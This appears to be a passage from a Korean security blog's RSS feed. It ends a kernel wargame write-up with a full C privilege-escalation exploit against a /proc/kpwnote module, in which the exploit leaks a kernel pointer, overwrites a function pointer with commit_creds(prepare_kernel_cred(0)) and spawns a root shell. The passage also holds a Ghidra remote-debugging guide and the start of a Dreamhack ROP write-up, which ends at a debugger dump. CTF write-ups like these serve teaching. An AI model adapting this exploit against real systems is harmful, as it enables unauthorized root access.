</span></span><span class="line"><span class="cl"><span class="kt">unsigned</span> <span class="nf">long</span> <span class="p">(</span><span class="o">*</span><span class="n">prepare_kernel_cred</span><span class="p">)(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">long</span> <span class="nf">escalate</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">commit_creds</span><span class="p">(</span><span class="nf">prepare_kernel_cred</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>   <span class="c1">// 현재 프로세스를 root로
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>                                <span class="c1">// 정상 return → read() 정상 종료
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div><p><code>commit_creds(prepare_kernel_cred(0))</code>는 현재 프로세스의 cred를 root로 교체하는 구문이다. 주의할 점은 <code>commit_creds</code>로 직접 점프하면 안 된다. 이 함수는 rdi 인자로 cred를 받는데, 직접 뛰면 rdi에 이상 값(file 포인터)이 들어가 패닉이 발생한다. 그래서 <code>prepare_kernel_cred(0)</code>로 root cred를 먼저 만들어 넘기는 두 함수 호출을 escalate 안에서 처리한다.</p>
<p>escalate가 <code>commit_creds</code>, <code>prepare_kernel_cred</code>를 호출하려면 그 주소를 알아야 한다. 유저 프로그램은 커널 함수 주소를 모르므로, leak으로 구한 slide를 더해 런타임 주소를 함수 포인터에 채워둔다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">commit_creds</span>        <span class="o">=</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)(</span><span class="mh">0xffffffff810634e0UL</span> <span class="o">+</span> <span class="n">slide</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">prepare_kernel_cred</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)(</span><span class="mh">0xffffffff81063370UL</span> <span class="o">+</span> <span class="n">slide</span><span class="p">);</span>
</span></span></code></pre></div><p>마지막으로 <code>proc_read</code>를 escalate 주소로 덮고 read로 트리거하면, 커널이 escalate를 실행해 프로세스가 root가 된다. escalate가 <code>return 0</code>으로 정상 복귀하면 read() 시스템콜도 정상 종료되고, 유저랜드로 돌아온 시점에 이미 root이므로 쉘 실행결과 root 권한을 확인할 수 있다.</p>
<h2 id="전체-익스플로잇-코드">전체 익스플로잇 코드</h2>
<p>위 단계를 하나로 합친 최종 코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="k">typedef</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">u64</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#define MY_READ_S  0xffffffff812b4880UL
</span></span></span><span class="line"><span class="cl"><span class="cp">#define COMMIT_S   0xffffffff810634e0UL
</span></span></span><span class="line"><span class="cl"><span class="cp">#define PREPARE_S  0xffffffff81063370UL
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">commit_creds</span><span class="p">)(</span><span class="n">u64</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">u64</span>  <span class="p">(</span><span class="o">*</span><span class="n">prepare_kernel_cred</span><span class="p">)(</span><span class="n">u64</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">long</span> <span class="nf">escalate</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">commit_creds</span><span class="p">(</span><span class="nf">prepare_kernel_cred</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="nf">open</span><span class="p">(</span><span class="s">&#34;/proc/kpwnote&#34;</span><span class="p">,</span> <span class="n">O_RDWR</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">fd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="nf">perror</span><span class="p">(</span><span class="s">&#34;open&#34;</span><span class="p">);</span> <span class="k">return</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// [1] leak: tlen 확장(0x478) 후 0x470에서 my_read 포인터 read
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="nf">lseek</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mh">0x478</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">lseek</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mh">0x470</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">u64</span> <span class="n">leak</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">leak</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;[*] leak(my_read) = 0x%lx</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">leak</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// [2] slide → 권한상승 함수 런타임 주소
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">u64</span> <span class="n">slide</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="n">MY_READ_S</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">commit_creds</span>        <span class="o">=</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)(</span><span class="n">COMMIT_S</span>  <span class="o">+</span> <span class="n">slide</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">prepare_kernel_cred</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)(</span><span class="n">PREPARE_S</span> <span class="o">+</span> <span class="n">slide</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;[*] slide = 0x%lx</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">slide</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// [3] proc_read(0x470)를 escalate 주소로 덮기
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">lseek</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mh">0x470</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">u64</span> <span class="n">target</span> <span class="o">=</span> <span class="p">(</span><span class="n">u64</span><span class="p">)</span><span class="n">escalate</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">target</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// [4] read 트리거 → 커널이 escalate 실행 → root
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">lseek</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mh">0x470</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">b</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">b</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// [5] 확인 후 셸
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="nf">getuid</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;[+] root! uid=%d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="nf">getuid</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">        <span class="nf">execve</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">,</span> <span class="n">argv</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;[-] failed, uid=%d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="nf">getuid</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>Ghidra remote debugger</title><link>https://dig06161.github.io/2025/08/10/Ghidra-remote-debugger/</link><pubDate>Sun, 10 Aug 2025 18:30:00 +0900</pubDate><guid>https://dig06161.github.io/2025/08/10/Ghidra-remote-debugger/</guid><description>Ghidra 원격 디버깅 사용하기</description><content:encoded><![CDATA[<p>업무나 워게임 풀이에 있어서 Ghidra를 적극 사용중이다. 이런 Ghidra를 단순 디컴파일러로만 사용하기엔 아까워서 remote debug를 사용해봤다. IDA Pro는 정보가 많이 나오는데 Ghidra를 통한 remote debug 기능을 활용한 글을 거의 볼 수 없어서 가이드 느낌으로 적어본다. 개인적으로는 gdbserver나 qemu debug에도 활용 가능해 매우 유용할 것으로 판단했다.</p>
<p>필자의 환경은 분석용 데스크톱 ubuntu 24.04, 업무 또는 개인용 노트북으로 Windows 11을 사용한다.</p>
<p>Ghidra는 ubuntu에서 사용할 예정이고 RDP를 사용했다. 나중에는 Ghidra 서버를 통해 동적 remote 분석 가능 여부에 대해서도 테스트 할 예정이다.</p>
<p>Ghidra는 공식 github에서 11.4.1 빌드를 사용했고 snap 설치 환경에서는 권한 분리로 인해 gdb 등 일부 기능이 사용 불가능하다. 공식 github에서 다운 받아 실행하는 것을 추천한다.</p>
<p>gdb는 필수로 설치되어야 하고 Ghidra를 실행하는 계정에 대해 실행 권한을 가져야 한다.</p>
<p>war game 문제 하나를 도커로 올려 gdb server static 빌드 한 바이너리와 같이 넣어준다.</p>
<p><img loading="lazy" src="/img/Ghidra-remote-debugger/image.png" alt="image.png"  />
</p>
<p>prob는 대상 문제파일로 다음 gdbserver 명령을 통해 구동한다. 당연히 포트 expose나 라우팅은 도커 설정으로 잡아줘야 한다. 물론 방화벽도 마찬가지</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">pwn@dd809d5e20f8:~$ ./gdbserver :5555 prob
</span></span><span class="line"><span class="cl">gdbserver: Error disabling address space randomization: Operation not permitted
</span></span><span class="line"><span class="cl">Process prob created; pid = 40
</span></span><span class="line"><span class="cl">Listening on port 5555
</span></span></code></pre></div><p>위 로그를 보면 gdbserver가 ASLR를 비활성화 해 동작하려 했지만 권한 문제로 실패했다고 뜬다. 필자는 실 문제 환경에서 분석하길 원해 따로 해결하진 않았다.</p>
<p>gdbserver 가 5555를 디버그 포트로 하여금 접속 대기중이다. 이제 Ghidra의 debugger 기능을 활용해보자. 프로젝트를 생성하고 분석대상 바이너리를 추가해 Debugger 옵션으로 열어준다.</p>
<p><img loading="lazy" src="/img/Ghidra-remote-debugger/image%201.png" alt="image.png"  />
</p>
<p><img loading="lazy" src="/img/Ghidra-remote-debugger/image%202.png" alt="image.png"  />
</p>
<p>필자는 미리 auto Analysis를 통해 디컴파일을 진행했다. Debugger → Configure and Launch 대상 바이너리 이름 using&hellip; → gdb remote 를 선택해 연결 환경을 구성한다.</p>
<p><img loading="lazy" src="/img/Ghidra-remote-debugger/image%203.png" alt="image.png"  />
</p>
<p>gdbserver에서 사용했던 5555번 포트로 설졍해줬다. 이 설정들은 분석 환경에 따라 자유롭게 설정하면 된다. 만약 x64가 아닌 mips나 aarch64 환경이라면 gdb command를 수정해 gdb-multiarch 를 사용하고 원하는 옵션을 추가할 수 있다.</p>
<p><img loading="lazy" src="/img/Ghidra-remote-debugger/image%204.png" alt="image.png"  />
</p>
<p>이후 Launch 버튼을 누르면 다음과 같은 화면을 볼 수 있다.</p>
<p><img loading="lazy" src="/img/Ghidra-remote-debugger/image%205.png" alt="image.png"  />
</p>
<p>gdbserver에 연결되었다. 아래 Terminal 창을 통해 실제 gdb 처럼 상호작용 가능하지만 0x101268 지점에 파란 불 부분을 더블 클릭하면 자동으로 bp를 걸어주는 등 자동화된 기능들이 많다.</p>
<p>예를 들어 특정 값을 입력 후 메모리 맵에서 스택을 확인하고 싶은 경우, bp가 걸린 상태에서 F5를 눌러 컨티뉴 명령을 수행하고 값을 입력해 bp 지점까지 이동한다. 이후 Memory View에서 Track Stack Pointer를 선택해 스텍 포인터를 자동으로 따라다니며 확인 가능하고 수정 또한 가능하다.</p>
<p><img loading="lazy" src="/img/Ghidra-remote-debugger/image%206.png" alt="image.png"  />
</p>
<p>당연하게도 bp 리스트 메모리 맵 확인 어셈 코드 수정 등 많은 기능들을 지원한다. 개인적으로 IDA Pro 보단 안전성이 떨어지지만 충분히 감안하고 사용할 만 하다. ni si 명령 등을 통해 움직이는 RIP 레지스터를 실시간으로 따라가며 디컴파일된 코드에서도 동일하게 추적한다.</p>
<p>이 분석 환경은 IDA PRO를 사용하지 못하는 환경에서는 대신 사용할 만 하다. 다만 아직은 불안정한 부분이 보이는데. 메모리쪽 문제로 오류가 간혹 뜨는 문제가 있는데 이 부분은 차차 업데이트로 나아질 것이라 기대한다.</p>
<p>매우 간단하게 Ghidra의 remote debugger 기능에 대해서 살펴봤다.</p>
<p>원격 환경은 네트워크를 많이 타기 때문에 속도나 PING이 좋지 않은 환경에서는 생각보다 불편하다. 나중에는 Ghidra 서버를 통해 원격 디버깅이 가능한지, WSL GUI 환경 Ghidra 등 여러 테스트를 진행하고 정리해볼 예정이다.</p>
<p>Windows에서 MSYS2 gdb를 활용하면 가능할 것으로 보이는데 이 부분은 아직 테스트하지 않았다. 굳이 윈도우에서 테스트할 필요성을 못느꼈다.</p>
<p>Ghidra remote debugger 기능을 더 많은 사람들이 사용해서 더욱 좋은 도구로 발전했으면 한다.</p>
]]></content:encoded></item><item><title>[Dreamhack] PWN xrop</title><link>https://dig06161.github.io/2025/08/10/dreamhack-pwn-xrop/</link><pubDate>Sun, 10 Aug 2025 16:00:00 +0900</pubDate><guid>https://dig06161.github.io/2025/08/10/dreamhack-pwn-xrop/</guid><description>드림핵 포너블 xrop 문제풀이</description><content:encoded><![CDATA[<p>Pwn2Own 2025 Ireland가 시작하며 다시 ROP 감을 찾고자 xrop 문제를 풀어봤다.</p>
<p>해당 문제는 입력 받은 값이 xor 되어 스택에 저장되는 문제로 걸려있는 보호 기법은 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">╰─○ checksec --file<span class="o">=</span>./prob
</span></span><span class="line"><span class="cl">RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY  Fortified       Fortifiable     FILE
</span></span><span class="line"><span class="cl">Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   <span class="m">43</span> Symbols        No     <span class="m">0</span>               <span class="m">2</span>               ./prob
</span></span></code></pre></div><p>심볼 제거, FORTIFY  빼고는 앵간한 보호 기법이 다 걸려있다. 우선 문제 바이너리를 ghidra로 열어보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">ssize_t</span> <span class="n">sVar1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">pcVar2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">local_30</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">byte</span> <span class="n">local_28</span> <span class="p">[</span><span class="mi">24</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">do</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;Input: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">sVar1</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">local_28</span><span class="p">,</span><span class="mh">0x100</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">local_30</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">local_30</span> <span class="o">&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">sVar1</span><span class="p">;</span> <span class="n">local_30</span> <span class="o">=</span> <span class="n">local_30</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_28</span><span class="p">[</span><span class="n">local_30</span> <span class="o">+</span> <span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">local_28</span><span class="p">[</span><span class="n">local_30</span><span class="p">]</span> <span class="o">^</span> <span class="n">local_28</span><span class="p">[</span><span class="n">local_30</span> <span class="o">+</span> <span class="o">-</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;You entered: %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span><span class="n">local_28</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">pcVar2</span> <span class="o">=</span> <span class="n">strtok</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">local_28</span><span class="p">,</span><span class="s">&#34;exit&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">pcVar2</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">==</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* WARNING: Subroutine does not return */</span>
</span></span><span class="line"><span class="cl">  <span class="n">__stack_chk_fail</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>다른 추가적인 함수 Call 없이 main에서 문제의 역할을 전부 수행한다.</p>
<p>do while 구문에서 read를 통해 입력 받는 배열의 크기는 24이지만 입력 값의 길이 제한 검증이 미흡하여 BoF가 발생한다. 이후 for문의 XOR 기능을 통해 입력한 값을 1바이트 씩 다음 1바이트와 계산하는 로직을 구현했으며, read 함수를 통해 입력한 길이 -1만큼 동작해 결과적으로 입력한 값들을 XOR 하는 코드 부분이다. 이후 printf를 통해 XOR하여 저장된 값을 확인해주고 XOR 된 값을 토큰화 하여 e, x, i, t 중 하나라도 있거나 널 바이트가 있으면 카나리 값 검사 후 return하는 코드다.</p>
<p>코드를 보면 익스 방법이 명확하다. 먼저 카나리 값을 릭하고 다음 필요에 따라 PIE base addr와 libc base addr를 릭해 ROP 가젯 체이닝을 하면 될 것이다.</p>
<p>read함수 다음에 bp를 걸어 값 입력 후 스택을 확인하자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="o">[</span> Legend: Modified register <span class="p">|</span> Code <span class="p">|</span> Heap <span class="p">|</span> Stack <span class="p">|</span> String <span class="o">]</span>
</span></span><span class="line"><span class="cl">────────────────────────────────────────────────────────────────────────────────────────── registers ────
</span></span><span class="line"><span class="cl"><span class="nv">$rax</span>   : 0x9               
</span></span><span class="line"><span class="cl"><span class="nv">$rbx</span>   : 0x0               
</span></span><span class="line"><span class="cl"><span class="nv">$rcx</span>   : 0x000074f174f45992  →  0x5677fffff0003d48 <span class="o">(</span><span class="s2">&#34;H=&#34;</span>?<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$rdx</span>   : 0x100             
</span></span><span class="line"><span class="cl"><span class="nv">$rsp</span>   : 0x00007ffcf7795820  →  0x0000000000000002
</span></span><span class="line"><span class="cl"><span class="nv">$rbp</span>   : 0x00007ffcf7795850  →  0x0000000000000001
</span></span><span class="line"><span class="cl"><span class="nv">$rsi</span>   : 0x00007ffcf7795830  →  <span class="s2">&#34;asdfasdf\n&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$rdi</span>   : 0x0               
</span></span><span class="line"><span class="cl"><span class="nv">$rip</span>   : 0x0000600d264ee268  →  &lt;main+009f&gt; mov DWORD PTR <span class="o">[</span>rbp-0x24<span class="o">]</span>, eax
</span></span><span class="line"><span class="cl"><span class="nv">$r8</span>    : 0x7               
</span></span><span class="line"><span class="cl"><span class="nv">$r9</span>    : 0x000074f175069040  →   endbr64 
</span></span><span class="line"><span class="cl"><span class="nv">$r10</span>   : 0x0000600d264ef004  →  0x00203a7475706e49 <span class="o">(</span><span class="s2">&#34;Input: &#34;</span>?<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$r11</span>   : 0x246             
</span></span><span class="line"><span class="cl"><span class="nv">$r12</span>   : 0x00007ffcf7795968  →  0x00007ffcf7797969  →  0x534f4800626f7270 <span class="o">(</span><span class="s2">&#34;prob&#34;</span>?<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$r13</span>   : 0x0000600d264ee1c9  →  &lt;main+0000&gt; endbr64 
</span></span><span class="line"><span class="cl"><span class="nv">$r14</span>   : 0x0000600d264f0da0  →  0x0000600d264ee180  →  &lt;__do_global_dtors_aux+0000&gt; endbr64 
</span></span><span class="line"><span class="cl"><span class="nv">$r15</span>   : 0x000074f17509d040  →  0x000074f17509e2e0  →  0x0000600d264ed000  →  0x00010102464c457f
</span></span><span class="line"><span class="cl"><span class="nv">$eflags</span>: <span class="o">[</span>zero CARRY PARITY adjust sign <span class="nb">trap</span> INTERRUPT direction overflow resume virtualx86 identification<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="nv">$cs</span>: 0x33 <span class="nv">$ss</span>: 0x2b <span class="nv">$ds</span>: 0x00 <span class="nv">$es</span>: 0x00 <span class="nv">$fs</span>: 0x00 <span class="nv">$gs</span>: 0x00 
</span></span><span class="line"><span class="cl">────────────────────────────────────────────────────────────────────────────────────────────── stack ────
</span></span><span class="line"><span class="cl">0x00007ffcf7795820│+0x0000: 0x0000000000000002   ← <span class="nv">$rsp</span>
</span></span><span class="line"><span class="cl">0x00007ffcf7795828│+0x0008: 0x00000000178bfbff
</span></span><span class="line"><span class="cl">0x00007ffcf7795830│+0x0010: <span class="s2">&#34;asdfasdf\n&#34;</span>         ← <span class="nv">$rsi</span>
</span></span><span class="line"><span class="cl">0x00007ffcf7795838│+0x0018: 0x000000000000000a <span class="o">(</span><span class="s2">&#34;\n&#34;</span>?<span class="o">)</span>
</span></span><span class="line"><span class="cl">0x00007ffcf7795840│+0x0020: 0x0000000000001000
</span></span><span class="line"><span class="cl">0x00007ffcf7795848│+0x0028: 0xba38f45ff9545200
</span></span><span class="line"><span class="cl">0x00007ffcf7795850│+0x0030: 0x0000000000000001   ← <span class="nv">$rbp</span>
</span></span><span class="line"><span class="cl">0x00007ffcf7795858│+0x0038: 0x000074f174e5ad90  →   mov edi, eax
</span></span><span class="line"><span class="cl">──────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
</span></span><span class="line"><span class="cl">   0x600d264ee25b &lt;main+0092&gt;      mov    rsi, rax
</span></span><span class="line"><span class="cl">   0x600d264ee25e &lt;main+0095&gt;      mov    edi, 0x0
</span></span><span class="line"><span class="cl">   0x600d264ee263 &lt;main+009a&gt;      call   0x600d264ee0b0 &lt;read@plt&gt;
</span></span><span class="line"><span class="cl">●→ 0x600d264ee268 &lt;main+009f&gt;      mov    DWORD PTR <span class="o">[</span>rbp-0x24<span class="o">]</span>, eax
</span></span><span class="line"><span class="cl">   0x600d264ee26b &lt;main+00a2&gt;      mov    DWORD PTR <span class="o">[</span>rbp-0x28<span class="o">]</span>, 0x1
</span></span><span class="line"><span class="cl">   0x600d264ee272 &lt;main+00a9&gt;      jmp    0x600d264ee29d &lt;main+212&gt;
</span></span><span class="line"><span class="cl">   0x600d264ee274 &lt;main+00ab&gt;      mov    eax, DWORD PTR <span class="o">[</span>rbp-0x28<span class="o">]</span>
</span></span><span class="line"><span class="cl">   0x600d264ee277 &lt;main+00ae&gt;      sub    eax, 0x1
</span></span><span class="line"><span class="cl">   0x600d264ee27a &lt;main+00b1&gt;      cdqe   
</span></span><span class="line"><span class="cl">──────────────────────────────────────────────────────────────────────────────────────────── threads ────
</span></span><span class="line"><span class="cl"><span class="o">[</span><span class="c1">#0] Id 1, Name: &#34;prob&#34;, stopped 0x600d264ee268 in main (), reason: BREAKPOINT</span>
